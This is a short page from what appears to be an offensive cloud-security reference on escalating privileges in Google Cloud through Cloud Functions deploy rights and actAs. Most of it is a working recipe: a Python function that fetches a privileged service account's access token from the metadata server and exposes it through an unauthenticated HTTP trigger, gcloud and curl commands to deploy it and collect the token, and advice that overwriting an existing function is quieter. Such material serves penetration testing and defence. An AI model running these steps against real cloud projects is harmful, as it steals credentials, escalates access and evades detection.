Cloud Function

With cloudfunctions.functions.create (or update) and actAs on a service account, you deploy a function that runs your code as that account. The function body reads its own token from the metadata server and returns it, or acts directly with the account's permissions.

Deploy a function that leaks its token#

bash
cat > main.py <<'EOF'
import requests, os
def pwn(request):
    t = requests.get(
      "http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token",
      headers={"Metadata-Flavor": "Google"}).text
    return t
EOF
echo "requests" > requirements.txt
gcloud functions deploy pwn --runtime=python311 --trigger-http --allow-unauthenticated \
  --entry-point=pwn --service-account=<privileged-sa>@<project>.iam.gserviceaccount.com --source=.
curl "$(gcloud functions describe pwn --format='value(httpsTrigger.url)')"

Exploitation notes#

  • --service-account is where actAs is exercised; without specifying it the function runs as the default account, which is often Editor anyway.
  • Gen2 functions run on Cloud Run under the hood; the token path is identical.
  • Updating an existing function's code (functions deploy on the same name) is quieter than creating a new one and inherits its already-privileged account.

Tools#

  • gcloud (functions deploy, functions describe): deploy and get the trigger URL.
  • GCP-IAM-Privilege-Escalation (Rhino): automates the deploy-and-steal variant.

References#

Cookie Consent

We use cookies to enhance your experience. Learn more